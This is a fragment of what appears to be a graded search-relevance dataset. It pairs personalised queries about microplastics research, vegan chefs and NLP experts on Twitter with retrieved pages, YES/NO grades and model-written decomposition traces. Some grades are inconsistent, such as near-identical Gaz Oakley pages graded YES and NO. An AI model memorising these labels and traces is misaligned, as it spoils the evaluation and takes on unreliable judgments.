                "text": "Marine and freshwater plastic pollution is a challenging issue receiving large amounts of research and media attention. Yet, few studies have documented the impact of microplastic ingestion to aquatic organisms. In the Pacific Northwest, Chinook salmon are a culturally and commercially significant fish species. The presence of marine and freshwater microplastic pollution is well documented in Chinook salmon habitat, yet no research has investigated the impacts to salmon from microplastic ingestion. The majority of the marine microplastics found in the Salish Sea are microfibers, synthetic extruded polymers that come from commonly worn clothing. To understand the potential impacts of microfiber ingestion to fish, we ran a feeding experiment with juvenile Chinook salmon to determine if ingested fibers are retained or digestion rates altered over a 10 day digestion period. The experiment was completed in two trials, each consisted of 20 control and 20 treatment fish. Treatment fish were each fed an amended ration of 12 food pellets spiked with 20 polyester microfibers and control fish were fed the same ration without added microfibers. Fish were sampled at day 0, 3, 5, 7, and 10 to assess if fibers were retained in their gastrointestinal tract and to determine the rate of digestion. Fibers for the experiment came from washing a red polyester fleece jacket in a microfiber retention bag. Fibers had a mean length of 4.98 mm. Results showed fish were able to clear up to 94% of fed fibers over 10 days. Differences in mean gastrointestinal mass were not statistically significant at any sampled time between treatment and controls, suggesting that the ingestion of microfibers did not alter digestion rates. Further work is needed to understand if repeated exposures, expected in the environment, alter digestion or food assimilation for growth.",
                "model_trace": "Query Decomposition:\n1. {latest research}: The document is a research article published in 2020 -> ([1], SATISFIED)\n2. {impact of microplastics on marine ecosystems}: The document discusses the impact of microplastics, specifically polyester fibers, on Chinook salmon -> ([1], SATISFIED)\n3. {Pacific Northwest region}: The study focuses on Chinook salmon, which are significant in the Pacific Northwest -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "[PDF] Environmental microplastics in the Pacific Northwest: Students ...",
                "url": "https://www.pdx.edu/environmental-science/sites/environmentalscience.web.wdt.pdx.edu/files/2024-04/ESM%202024%20Annual%20Newsletter.pdf",
                "published_date": null,
                "text": "Portland State University ESM Department Spring 2024\n1\nEnvironmental microplastics in the Pacific Northwest: Students \ncontributions to our understanding of their presence, \nproblems, and possible solutions\nBy Dr. Elise Granek\nPlastics have a myriad of uses and benefits and are integrated into \nevery facet of modern life. Plastic use is so widespread that plastic \nproduction may exceed 500 million metric tons per year by 2050. \nAlthough plastics have become a norm in much of life, their risks in \nthe environment have more recently become apparent. Plastics \nbreak down into smaller and smaller microplastics when subjected \nto heat, light, and environmental forces such as wind, wave, UV, \nbiological, and mechanical disturbances, such that microplastics are \nnow ubiquitous and found in terrestrial, aquatic and marine \necosystems, as well as in the air we breathe, the soil in which we \ngrow our crops, freshwater, saltwater, and ice. Once in the \nenvironment, animals, plants, and other organisms uptake \nmicroplastics that then get incorporated into their tissues and \norgans. Research in ESM\u2019s Applied Coastal Ecology (ACE) Lab has \nidentified the breadth of their presence in the Pacific Northwest and \nis beginning to identify the impacts of plastics on life.\nOn their journey from manufactured products into the tissues of \norganisms, microplastics travel through air, water, and soils. \nMicroplastics are shed by clothing in our washing machines, \nbecome airborne in our homes and workplaces, and can be \ndeposited by rain or transported through stormwater systems into \nwaterways. A single washing machine load of synthetic clothing can generate up to 700,000 microfibers, which \nget flushed through gray water into wastewater treatment plants. A single city or urban area could generate \nSummer Traylor demonstrating our lab \nprotocol to collaborator, Dr. Jordyn Wolfand.\n.\nPortland State University ESM Department Spring 2024\n2\nhundreds of billions of fibers per day, many of which are then input into rivers and streams via treat",
                "model_trace": "Query Decomposition:\n1. {latest research}: The document is from Spring 2024, so it is recent -> ([1], SATISFIED)\n2. {impact of microplastics}: The document discusses the presence and potential impacts of microplastics on organisms -> ([1], SATISFIED)\n3. {marine ecosystems}: The document mentions marine ecosystems among other environments -> ([1], SATISFIED)\n4. {Pacific Northwest region}: The document specifically addresses microplastics in the Pacific Northwest -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied by the document. YES"
            },
            {
                "grade": "NO",
                "title": "Georgetown Students, Faculty Take on the Very Big World of ...",
                "url": "https://www.georgetown.edu/news/georgetown-students-faculty-study-microplastics-in-dc/",
                "published_date": null,
                "text": "Earlier this year, news broke that bottled water contains more plastic than originally thought.\nThe report was the latest from studies on microplastics, or miniscule fragments of plastic, that have been found all over the world: on Mt. Everest and in Antarctica, in coral reefs and the Great Lakes, in teabags, oysters, and our own bodies.\nScientists know microplastics are pervasive. But they don\u2019t have a universal standard in this emerging field to identify or measure these tiny particles, says YuYe J. Tong, a chemistry professor and director of the Environmental Metrology &amp; Policy Program (EMAP). And some of these particles are so tiny \u2013 1,000 times smaller than a strand of hair \u2013 that measuring them, let alone standardizing the measurements, is a challenge. Without a universal standard, scientists can\u2019t establish the extent of the issue or the level of exposure to humans to inform guidelines and policy.\n\u201cHow are you going to manage or eliminate it? You have to measure it first,\u201d Tong said. \u201cThat\u2019s what we\u2019re training students to do. We teach students to understand science and how science can be part of policymaking.\n I\u2019m a true believer that you can only maximize the societal impact of science and technology with the right support of developing and implementing soundest policy.\u201d \n In a year-long project, students and faculty members from EMAP and the Earth Commons are dipping into rivers and using a highly specialized infrared microscope to detect and measure just how much microplastic is there \u2014 and where it\u2019s coming from.\u00a0 \n Learning in the River \n Wilps collects water from the Potomac River near Georgetown University in December with Chen and Hanson. \n In December, Andrew Wilps (G\u201924) waded into the cold waters of the Anacostia River. He held out a jar in front of him, careful not to get any plastic residue from his rubber boots into the sample.\u00a0 \n With his classmates, Ava Hanson (G\u201924) and Alexis Lashbaugh (G\u201924), they filled three jars with water and measured the river\u2019s salinity, temperature and other ",
                "model_trace": "Query Decomposition:\n1. {latest research on the impact of microplastics}: The document discusses ongoing research by Georgetown students and faculty on microplastics, which is relevant to the latest research -> ([1], SATISFIED)\n2. {impact on marine ecosystems}: The document does not specifically address the impact of microplastics on marine ecosystems, focusing instead on measuring microplastics in rivers -> ([1], UNSATISFIED)\n3. {Pacific Northwest region}: The document discusses research conducted in Washington, D.C., not the Pacific Northwest region -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the latest research on microplastics but does not address the specific impact on marine ecosystems or the Pacific Northwest region. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Posts | Lyda Harris, PhD",
                "url": "https://lydaharris.com/posts/",
                "published_date": null,
                "text": "Honored as a\u00a0Starbucks OL Reign\u00a0Legend\nOn Earth Day I was honored as a\u00a0Starbucks OL Reign\u00a0Legend for my work in marine microplastics, conservation, and sustainability in the Pacific Northwest! The ceremony was on Earth Day right before the match started; the Reign played (and crushed) Chicago Red Stars. Perhaps better than being honored was sharing a space with so many amazing women athletes (I was 5ft away from Megan Rapinoe and fangirled hard). I am eternally grateful to my support systems and the women who enabled me to be here today.\n  \n \u201cDr. Harris\u2019 commitment to sustainability and our planet is making a difference in our community and beyond.\u201d \nShout out to\u00a0University of Washington, Seattle Aquarium, Boeing, NOAA: National Oceanic &amp; Atmospheric Administration, Harris Environmental Group, Inc, and the Southern Arizona Regional Science and Engineering Fair (SARSEF)\u00a0for providing space to grow in my career.\nTop downloaded article during 1st year of publication\nSo excited to receive this news! Our team (all women!!) worked hard on this research and we are thrilled the paper gained so much traction. If you haven\u2019t already check out our paper: Temporal variability of microparticles under the Seattle Aquarium, Washington State\u201d Documenting the Global Covid-19 Pandemic. \n  \nPacific Fisheries Technology Invited Speaker\nIn February I had the distinct pleasure to present as an invited speaker at the 73rd Pacific Fisheries Technology Conference in Renton, WA. \n Microplastics in our marine environment: Microplastics (plastic &lt; 5mm in size) are ubiquitous in our environment and living in the PNW, we encounter them in unexpected places. The Salish Sea experiences seasonal fluctuations in precipitation, river discharge, sewage overflow events, and tourism all variables thought to have an impact on microplastic transport and concentrations. Through examining seasonality and animal life history traits, we can better understand where and how microplastics are most affecting important marine organisms, ecosystems, and c",
                "model_trace": "Query Decomposition:\n1. {latest research}: The webpage mentions recent activities and publications by Dr. Lyda Harris, including a top downloaded article and conference presentations -> ([1], SATISFIED)\n2. {impact of microplastics on marine ecosystems}: The content discusses microplastics in the marine environment and their impact on marine organisms and ecosystems -> ([1], SATISFIED)\n3. {Pacific Northwest region}: The webpage specifically mentions research and activities in the Pacific Northwest, including Seattle and the Salish Sea -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            }
        ]
    },
    {
        "query": "I'm a food blogger who specializes in vegan recipes. Can you recommend some innovative vegan chefs on Twitter that I should follow to get inspiration for my next recipe post?",
        "grid_pos": [
            3,
            6
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "The queries cover a range of topics that would require a good understanding of the internet, social media, and current events to adequately serve. The personalized nature of the queries, with the user describing their background and interests, adds an extra layer of complexity that a smart search engine like Exa would need to handle well. The search result type being Twitter also means the engine would need to be able to surface high-quality, relevant content from that platform specifically.\n\nFor the first query about microplastics, the search engine would need to be able to find the latest research on that topic, understand the user's focus on the Pacific Northwest region, and provide results that are tailored to an environmental science graduate student.\n\nThe second query about vegan food bloggers requires the engine to have a good understanding of the food/cooking domain, be able to identify innovative vegan chefs on Twitter, and provide recommendations that would be useful for a food blogger looking for inspiration.\n\nThe third query about Civil War primary sources demands that the engine can surface compelling firsthand accounts on Twitter, understand the user's interest as a history teacher, and provide content that would be appropriate for a high school classroom.\n\nThe fourth query about NLP experts on Twitter tests the engine's ability to identify authoritative voices in a technical field, understand the user's background as a software engineer, and provide resources that would be helpful for someone learning about NLP.\n\nFinally, the fifth query about electronic dance music trends requires the engine to have a pulse on the latest developments in that genre, identify up-and-coming DJs pushing boundaries, and provide recommendations that would be useful for a music producer.\n\nOverall, these queries cover a wide range of topics and user intents, and would be a good test of Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Welcome to Gaz Oakley | Vegan Recipes | Avant Garde Vegan",
                "url": "https://www.gazoakleychef.com/",
                "published_date": "2017-02-23",
                "text": "Contact For business enquiries only please email: [email protected] If you have a merch or book order query please email: [email protected] If you\u2019re a subscriber or follower and have a question for Gaz, the best way to contact is via Twitter: @gazoakleychef",
                "model_trace": "Query Decomposition:\n1. {food blogger who specializes in vegan recipes}: The document does not address this directly but provides context for the user's background -> ([0], UNSURE)\n2. {recommend some innovative vegan chefs on Twitter}: The document mentions Gaz Oakley, a vegan chef, and provides his Twitter handle -> ([1], SATISFIED)\n3. {get inspiration for my next recipe post}: The document does not directly address getting inspiration but implies that following Gaz Oakley on Twitter could provide inspiration -> ([2], SATISFIED)\n\nAssessment: The document provides a Twitter handle of an innovative vegan chef, which satisfies the key subcomponent of recommending a vegan chef on Twitter. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/chefzhenya",
                "published_date": "2012-06-06",
                "text": "the soup daddy of twitter, 20 years in the kitchen - chef, CEO & shareholder based in Kyiv, MFA charity founder & volunteer, worked/lived/studied in Boston & LA| profile_url: https://fvsm.net | name: Chef Zhenya | created_at: Wed Jun 06 06:51:02 +0000 2012 | favourites_count: 8522 | followers_count: 22746 | friends_count: 308 | media_count: 1216 | possibly_sensitive: False | verified: False | statuses_count: 4527 | location: Ukraine ===NEXT LVL DONATION THREAD ===\n(Please see tweet below for donation info)\n\nIf you just found my profile you need to know that i\u2019m a chef from Ukraine who works two jobs and volunteers to cook and organize cooking infrastructure of next level food for Ukrainian fighters at the\u2026 https://twitter.com/chefzhenya/status/1641106646700113922/photo/1| created_at: Wed Mar 29 15:54:49 +0000 2023 | favorite_count: 564 | quote_count: 7 | reply_count: 9 | retweet_count: 133 | is_quote_status: False | retweeted: False | lang: en Read @TheSpectator it\u2019s good for you! https://www.spectator.co.uk/article/how-moscow-can-pervert-the-course-of-africas-future/ https://twitter.com/chefzhenya/status/1646490290683801600/photo/1| created_at: Thu Apr 13 12:27:30 +0000 2023 | favorite_count: 70 | quote_count: 0 | reply_count: 4 | retweet_count: 10 | is_quote_status: False | retweeted: False | lang: en 12 754$ / 19 300$ https://twitter.com/chefzhenya/status/1646484963951353857/photo/1| created_at: Thu Apr 13 12:06:20 +0000 2023 | favorite_count: 6 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: und Me and @Maryink13, @this_is_ripley and @WarrenP91309278 are enjoying some off time. Every day of this war make me hate USSR aka ruzzia more and more. All these factories are a reminder to why we need to break away from them. https://twitter.com/chefzhenya/status/1646422606537433088/video/1| created_at: Thu Apr 13 07:58:33 +0000 2023 | favorite_count: 95 | quote_count: 0 | reply_count: 6 | retweet_count: 10 | is_quote_status: False | retweeted: False | lang: en T",
                "model_trace": "Query Decomposition:\n1. {food blogger specializing in vegan recipes}: The user is a food blogger looking for vegan recipe inspiration -> ([0], UNSURE)\n2. {innovative vegan chefs on Twitter}: The user is seeking recommendations for vegan chefs on Twitter to follow for inspiration -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide information indicating that Chef Zhenya is a vegan chef, nor does it suggest that their content is focused on vegan recipes. Therefore, it does not satisfy the user's intent to find innovative vegan chefs on Twitter for inspiration. NO."
            },
            {
                "grade": "NO",
                "title": "Welcome to Avant Garde Vegan by Gaz Oakley | Vegan Recipes",
                "url": "https://www.avantgardevegan.com/",
                "published_date": "2017-02-23",
                "text": "For business enquiries only please email: [email protected] If you have a merch or book order query please email: [email protected] If you\u2019re a subscriber or follower and have a question for Gaz, the best way to contact is via Twitter: @avantgardevegan",
                "model_trace": "Query Decomposition:\n1. {food blogger specializing in vegan recipes}: This subcomponent is about the user's identity and context, not directly relevant to evaluating the document -> ([0], UNSURE)\n2. {recommend innovative vegan chefs on Twitter}: This subcomponent requires the document to recommend vegan chefs on Twitter -> ([1], UNSATISFIED)\n\nAssessment: The document provides contact information for Gaz Oakley, a vegan chef, including his Twitter handle. However, it does not recommend multiple innovative vegan chefs on Twitter, which is what the query asks for. Therefore, it does not fully satisfy the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Gabrielle Reyes (@oneGReatvegan) / X",
                "url": "https://twitter.com/onegreatvegan?lang=en",
                "published_date": null,
                "text": "Vegan Chef + Actress, Singer, and TV Personality helping you get your glow on through music and song \ud83c\udfb5 GET MY COOKBOOK + ALBUM ONLINE\ud83d\udc47\ud83c\udffd| profile_url: http://www.OneGreatVegan.com | name: Gabrielle Reyes | created_at: Tue Aug 15 00:13:22 +0000 2017 | favourites_count: 2674 | followers_count: 2753 | friends_count: 224 | media_count: 1701 | statuses_count: 2070 | location: Los Angeles, CA",
                "model_trace": "Query Decomposition:\n1. {food blogger specializing in vegan recipes}: The user is a food blogger specializing in vegan recipes, seeking inspiration -> ([0], UNSURE)\n2. {innovative vegan chefs on Twitter}: The document is about Gabrielle Reyes, a vegan chef on Twitter -> ([1], SATISFIED)\n3. {recommendation for inspiration for next recipe post}: The document mentions that Gabrielle Reyes is a vegan chef and includes a link to her cookbook, which could provide inspiration -> ([2], SATISFIED)\n\nAssessment: The document satisfies the relevant subcomponents, providing information about an innovative vegan chef on Twitter who could serve as inspiration for the user's next recipe post. YES"
            },
            {
                "grade": "NO",
                "title": "Oh She Glows: Home",
                "url": "https://ohsheglows.com/",
                "published_date": null,
                "text": "Trending Recipes \n \n \nWelcome!\nHi there! I\u2019m Angela \u2013 mom of three munchkins, nature and animal lover, budding artist, and skin care enthusiast. I\u2019m fuelled by green smoothies, maple syrup, and the beautiful Alberta sunshine. In 2008, I started Oh She Glows, and for almost 15 years, I\u2019ve been creating crowd-pleasing and family-approved plant-based recipes. My passion is showing others that healthy recipes \u2013 free of any animal products \u2013 can (and should!) taste amazing. No boring plain, bland food over here! \nI\u2019m a 2x New York Times Bestselling cookbook author and award-winning recipe app creator. You can find out more about my books and app here.\nReady to get your glow on with hundreds of my plant-based recipes? On this blog, you\u2019ll find my favourite (and reader favourite!) recipes, tips, and tricks for success. I hope you\u2019ll love them as much as we do!\n More \n   \n \nMy Cookbooks\n \nOh She Glows\u2019 debut New York Times Best-selling cookbook is packed with over 100 vegan recipes to help you glow from the inside out. A cult favourite.\n Buy Now \n   \nAngela\u2019s second cookbook features more than 100 glow-worthy plant-based (and mostly gluten-free) recipes perfect for every day! \n Buy Now \n   \nAngela\u2019s newest cookbook is packed with more than 100 dinner- and lunch-friendly vegan recipes, complete with helpful labels like kid-friendly, gluten-free, freezer-friendly, nut-free, and more!\n Buy Now \n \nThe Oh She Glows Recipe App\nThe award-winning Oh She Glows Recipe App is a plant-based recipe app on both iPhone and Android containing healthy, accessible, and delicious meal options. With more than 180 vegan recipes (including over 150 gluten-free recipes), meal prepping has never been easier or more tasty! When Angela isn\u2019t cooking from one of her cookbooks, she\u2019s often cooking from a tablet with her recipe app. \n  \n \n \nRecipe Categories\n    Entr\u00e9es     Quick &amp; Easy     Desserts     Soup     Breakfast     Gluten Free     Smoothies     Energy Bars/Balls     Dinner     Appetizers     Casseroles     Salads     Cakes/Cupcakes   ",
                "model_trace": "[QUERY] I'm a food blogger who specializes in vegan recipes. Can you recommend some innovative vegan chefs on Twitter that I should follow to get inspiration for my next recipe post?\n\n[WEBPAGE INFORMATION]\n[TITLE] Oh She Glows: Home\n[URL] https://ohsheglows.com/\n[DATE PUBLISHED] None\n[CONTENT] Trending Recipes \n \n \nWelcome!\nHi there! I\u2019m Angela \u2013 mom of three munchkins, nature and animal lover, budding artist, and skin care enthusiast. I\u2019m fuelled by green smoothies, maple syrup, and the beautiful Alberta sunshine. In 2008, I started Oh She Glows, and for almost 15 years, I\u2019ve been creating crowd-pleasing and family-approved plant-based recipes. My passion is showing others that healthy recipes \u2013 free of any animal products \u2013 can (and should!) taste amazing. No boring plain, bland food over here! \nI\u2019m a 2x New York Times Bestselling cookbook author and award-winning recipe app creator. You can find out more about my books and app here.\nReady to get your glow on with hundreds of my plant-based recipes? On this blog, you\u2019ll find my favourite (and reader favourite!) recipes, tips, and tricks for success. I hope you\u2019ll love them as much as we do!\n More \n   \n \nMy Cookbooks\n \nOh She Glows\u2019 debut New York Times Best-selling cookbook is packed with over 100 vegan recipes to help you glow from the inside out. A cult favourite.\n Buy Now \n   \nAngela\u2019s second cookbook features more than 100 glow-worthy plant-based (and mostly gluten-free) recipes perfect for every day! \n Buy Now \n   \nAngela\u2019s newest cookbook is packed with more than 100 dinner- and lunch-friendly vegan recipes, complete with helpful labels like kid-friendly, gluten-free, freezer-friendly, nut-free, and more!\n Buy Now \n \nThe Oh She Glows Recipe App\nThe award-winning Oh She Glows Recipe App is a plant-based recipe app on both iPhone and Android containing healthy, accessible, and delicious meal options. With more than 180 vegan recipes (including over 150 gluten-free recipes), meal prepping has never been easier or more tasty! When Angela isn\u2019t cooking from one of her cookbooks, she\u2019s often cooking from a tablet with her recipe app. \n  \n \n \nRecipe Categories\n    Entr\u00e9es     Quick &amp; Easy     Desserts     Soup     Breakfast     Gluten Free     Smoothies     Energy Bars/Balls     Dinner     Appetizers     Casseroles     Salads     Cakes/Cupcakes   \n\nQuery Decomposition:\n1. {recommend some innovative vegan chefs on Twitter}: The document does not mention any vegan chefs on Twitter -> ([0], UNSATISFIED)\n2. {innovative vegan chefs}: The document talks about Angela, a vegan chef, and her innovative recipes -> ([1], SATISFIED)\n3. {follow for inspiration}: The document does not mention following Angela or any other chefs on Twitter -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {innovative vegan chefs}, which is satisfied. However, the document does not address the user's specific request for Twitter recommendations. NO."
            },
            {
                "grade": "NO",
                "title": "Vegan Plant-Based Personal Chef: Melanie's Blog",
                "url": "https://melaniedaponte.com/",
                "published_date": null,
                "text": "We don\u2019t need to spend a lot of money to eat well. In a market saturated with prepared food \u2018products\u2019 it can be helpful to remember the simple goodness and health benefits of the following staples. These are the nutritional and relatively economical, superfoods that appear regularly on my household grocery list and on my table.\n Black Beans \nHigh protein, high fiber black beans are a great choice for versatility and nutrition. I cook up a pot of them with garlic and veggie stock to use for salads, burritos or ladled over steamed brown rice topped with a bit of salsa or hot sauce.\n Sweet Potatoes \nWhole, baked sweet potatoes are the easiest of all applications for this vitamin-dense food. Split down the middle lengthwise and topped with a stew, I promise you will not walk away hungry. I also chop up cold baked sweet potato into my salads. Roasted sweet potatoes are a sweet treat as well\u2013again tossed over a salad or on their own. Tasty and filling.\n Nuts \nBesides the protein, essential amino acids, healthy fat\u2013including the ever-important Omega-3\u2013one big thing nuts have going for them is portability. A highly concentrated source of calories, this food is so easy to store for a quick snack or as an add on to a veggie salad on a busy day. As one who never hits the fast food joints, I always keep a stash of nuts in my car in case hunger strikes.\n Peanut Butter \nCreamy, crunchy or both, like I do. This high-protein, calorie-dense, high nutrient bang for the buck food is essential to my week. Perfectly paired with a fresh, crunchy apple or smeared on whole wheat toast, it is a staple I never want to do without. Also great to use in Asian noodle sauces, stews and as the fat in granola\u2013let me count the ways!\n Tofu: Baked, Grilled or Scrambled \nHigh protein, low-fat, versatile tofu is a powerhouse of nutrition with so many uses. There are books on the subject! Go to the library! The most common applications in my kitchen on a busy week are scrambled for weekend breakfast carrying over into the week and sprinkled over sala",
                "model_trace": "Query Decomposition:\n1. {food blogger specializing in vegan recipes}: This document is a blog by a vegan chef, so it is relevant -> ([1], SATISFIED)\n2. {recommend innovative vegan chefs on Twitter}: The document does not provide any information about vegan chefs on Twitter -> ([0], UNSATISFIED)\n\nAssessment: The document is relevant to vegan recipes but does not provide any information about innovative vegan chefs on Twitter. Since the key subcomponent {recommend innovative vegan chefs on Twitter} is tagged [0] and UNSATISFIED, the document does not meet the user's specific request. NO."
            }
        ]
    },
    {
        "query": "I'm a software engineer who is learning about natural language processing. I'm looking for experts in the field on Twitter who post technical deep dives and tutorials that I can learn from.",
        "grid_pos": [
            3,
            6
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "The queries cover a range of topics that would require a good understanding of the internet, social media, and current events to adequately serve. The personalized nature of the queries, with the user describing their background and interests, adds an extra layer of complexity that a smart search engine like Exa would need to handle well. The search result type being Twitter also means the engine would need to be able to surface high-quality, relevant content from that platform specifically.\n\nFor the first query about microplastics, the search engine would need to be able to find the latest research on that topic, understand the user's focus on the Pacific Northwest region, and provide results that are tailored to an environmental science graduate student.\n\nThe second query about vegan food bloggers requires the engine to have a good understanding of the food/cooking domain, be able to identify innovative vegan chefs on Twitter, and provide recommendations that would be useful for a food blogger looking for inspiration.\n\nThe third query about Civil War primary sources demands that the engine can surface compelling firsthand accounts on Twitter, understand the user's interest as a history teacher, and provide content that would be appropriate for a high school classroom.\n\nThe fourth query about NLP experts on Twitter tests the engine's ability to identify authoritative voices in a technical field, understand the user's background as a software engineer, and provide resources that would be helpful for someone learning about NLP.\n\nFinally, the fifth query about electronic dance music trends requires the engine to have a pulse on the latest developments in that genre, identify up-and-coming DJs pushing boundaries, and provide recommendations that would be useful for a music producer.\n\nOverall, these queries cover a wide range of topics and user intents, and would be a good test of Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/srush_nlp",
                "published_date": "2015-12-21",
                "text": "Professor, Programmer in NYC. \nCornell Tech, Hugging Face \ud83e\udd17\nhttps://t.co/cZl0wTfqGz\nFriend of Colin Raffel https://t.co/lIih4ZkOQl| profile_url: http://rush-nlp.com | name: Sasha Rush | created_at: Mon Dec 21 15:46:59 +0000 2015 | favourites_count: 2910 | followers_count: 46461 | friends_count: 453 | media_count: 810 | possibly_sensitive: False | verified: False | statuses_count: 5506 | location: New York, NY You use GPUs everyday, but do you (actually) know how they work?\n\nGPU-Puzzles (v0.1) - 14 short puzzles in Python with a visual debugger. No background required. Do puzzles, learn CUDA.\n\nLink: https://t.co/Yk1lWRqilN https://t.co/eFs7u5lxES| created_at: Tue Jul 12 14:47:21 +0000 2022 | favorite_count: 3305 | quote_count: 17 | reply_count: 25 | retweet_count: 509 | is_quote_status: False | retweeted: False | lang: en I'm advising a PhD student at Mistral and, really not sure how I feel about their LateX template. https://t.co/kanKEJaQPm| created_at: Tue Oct 17 17:00:19 +0000 2023 | favorite_count: 2568 | quote_count: 23 | reply_count: 53 | retweet_count: 83 | is_quote_status: False | retweeted: False | lang: en 1/ Spent the last couple weeks in quarantine obsessively coding a website for Virtual ICLR with @hen_str. We wanted to build something that was fun to browse, async first, and feels alive. https://t.co/mwvp4T3qvt| created_at: Fri Apr 24 20:42:09 +0000 2020 | favorite_count: 2051 | quote_count: 70 | reply_count: 39 | retweet_count: 403 | is_quote_status: False | retweeted: False | lang: en For some reason, I needed xkcd formatting to convince my brain what Large means. https://t.co/1SFrtEd8lu| created_at: Wed Mar 08 16:48:04 +0000 2023 | favorite_count: 2018 | quote_count: 18 | reply_count: 28 | retweet_count: 209 | is_quote_status: False | retweeted: False | lang: en These tutorial slides on \"High Perf NLP\" are really impressive. Every slide is current to the minute. Amazing set of diagrams.\n\nhttps://t.co/o0o4SY6chR\n\n(@gabriel_ilharco @Tim_Dettmers @IuliaTurc @kentonctlee Felipe Ferreira Cesar Ilharco)",
                "model_trace": "Query Decomposition:\n1. {experts in the field of natural language processing on Twitter}: The document is a Twitter profile of Sasha Rush, who is associated with NLP -> ([1], SATISFIED)\n2. {posts technical deep dives and tutorials}: The document mentions Sasha Rush sharing GPU puzzles, tutorial slides on \"High Perf NLP,\" and coding a website for Virtual ICLR, which suggests he posts technical content and tutorials -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied, indicating that the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/JayAlammar",
                "published_date": "2020-04-01",
                "text": "Machine learning and language models R&D. Builder. Writer. Visualizing AI, ML, and LLMs one concept at a time. @Cohere. https://t.co/TquuQXlLOJ| profile_url: https://www.youtube.com/channel/UCmOwsoHty5PrmE-3QhUBfPQ | name: Jay Alammar | created_at: Wed Apr 01 08:05:51 +0000 2020 | favourites_count: 2291 | followers_count: 32907 | friends_count: 1203 | media_count: 456 | possibly_sensitive: False | verified: False | statuses_count: 1647 | location: Our new short course, \u201cLarge Language Models with Semantic Search\" is now live! In it, you'll learn how to use LLMs to build the next generation of search systems using concepts like embedding and reranking. Hope you enjoy it!\nhttps://t.co/KwEG76suKY\n\nWhat an incredible honor to\u2026| created_at: Wed Aug 16 15:57:03 +0000 2023 | favorite_count: 461 | quote_count: 4 | reply_count: 15 | retweet_count: 69 | is_quote_status: True | retweeted: False | lang: en How GPT3 works. A visual thread.\n\nA trained language model generates text.\n\nWe can optionally pass it some text as input, which influences its output.\n\nThe output is generated from what the model \"learned\" during its training period where it scanned vast amounts of text.\n\n1/n https://t.co/imM66oyTIC| created_at: Tue Jul 21 08:56:52 +0000 2020 | favorite_count: 2499 | quote_count: 99 | reply_count: 31 | retweet_count: 783 | is_quote_status: False | retweeted: False | lang: en The Illustrated Stable Diffusion\n\nhttps://t.co/sbjKHP4Pol\n\nNew post!\n\nOver 30 visuals explaining how Stable Diffusion works (diffusion, latent diffusion, CLIP, and a lot more). https://t.co/qkK1f7W1zh| created_at: Tue Oct 04 15:26:23 +0000 2022 | favorite_count: 2144 | quote_count: 43 | reply_count: 31 | retweet_count: 503 | is_quote_status: False | retweeted: False | lang: en pip install scikit-learn\n\nIt's easy to take for granted, but this single command gives you functionality I'd value at hundreds of thousands of dollars, if not more.\n\nNot to mention amazing documentation that beautifully weaves guides and references.\n\nHats off to @scikit_learn| cr",
                "model_trace": "Query Decomposition:\n1. {experts in the field of natural language processing on Twitter}: The document is a Twitter profile of Jay Alammar, who is involved in machine learning and language models R&D -> ([1], SATISFIED)\n2. {posts technical deep dives and tutorials}: The document includes tweets about technical topics such as how GPT-3 works and visual explanations of Stable Diffusion, indicating that Jay Alammar posts technical deep dives and tutorials -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/omarsar0",
                "published_date": "2015-09-04",
                "text": "Building with LLMs and AI Agents @dair_ai \u2022 Prev: Meta AI, Galactica LLM, PapersWithCode, PhD \u2022 Creator of the Prompting Guide (2.5M+ learners)| profile_url: https://maven.com/dair-ai/prompt-engineering-llms | name: elvis | created_at: Fri Sep 04 12:59:26 +0000 2015 | favourites_count: 24188 | followers_count: 175983 | friends_count: 463 | media_count: 1845 | possibly_sensitive: False | verified: False | statuses_count: 9992 | location: Model Prompting Guides\n\nWe continue expanding the prompt engineering guide. Some updates include:\n\n- we are at ~40K\u2b50\ufe0f on GitHub\n- surpassed 2.5 million learners worldwide\n- added comprehensive prompting guides for Gemini, Mistral 7B & Phi-2\n- new guides for the prompt chaining\u2026 https://t.co/lFKxnZZQRy| created_at: Tue Jan 16 15:36:20 +0000 2024 | favorite_count: 1003 | quote_count: 6 | reply_count: 12 | retweet_count: 222 | is_quote_status: False | retweeted: False | lang: en Just being honest: when looking for skilled machine learning and NLP engineers, I'm not looking at CVs anymore.\n\nNow I directly look at blogs, GitHub repos, videos, Twitter, etc.\n\nHaving a CV is fine... but don't forget to document along the way (in detail) what you've built.| created_at: Sun Dec 19 12:29:39 +0000 2021 | favorite_count: 5010 | quote_count: 49 | reply_count: 148 | retweet_count: 410 | is_quote_status: False | retweeted: False | lang: en This maths book is trending on Hacker News!\n\nI took a quick look and realized how great of a book this is to learn how to think mathematically.\n\nIt's 700 pages long and very approachable compared to other maths books.\n\nhttps://t.co/Ra2EtO3ET9 https://t.co/geBx0Zccdo| created_at: Thu May 25 13:57:01 +0000 2023 | favorite_count: 5305 | quote_count: 49 | reply_count: 81 | retweet_count: 1071 | is_quote_status: False | retweeted: False | lang: en BloombergGPT is a new LLM for finance.\n\nIt's a 50 billion parameter language model trained on financial data.\n\nClaims the largest domain-specific dataset yet with 363 billion tokens... further augmented with 345 billion to",
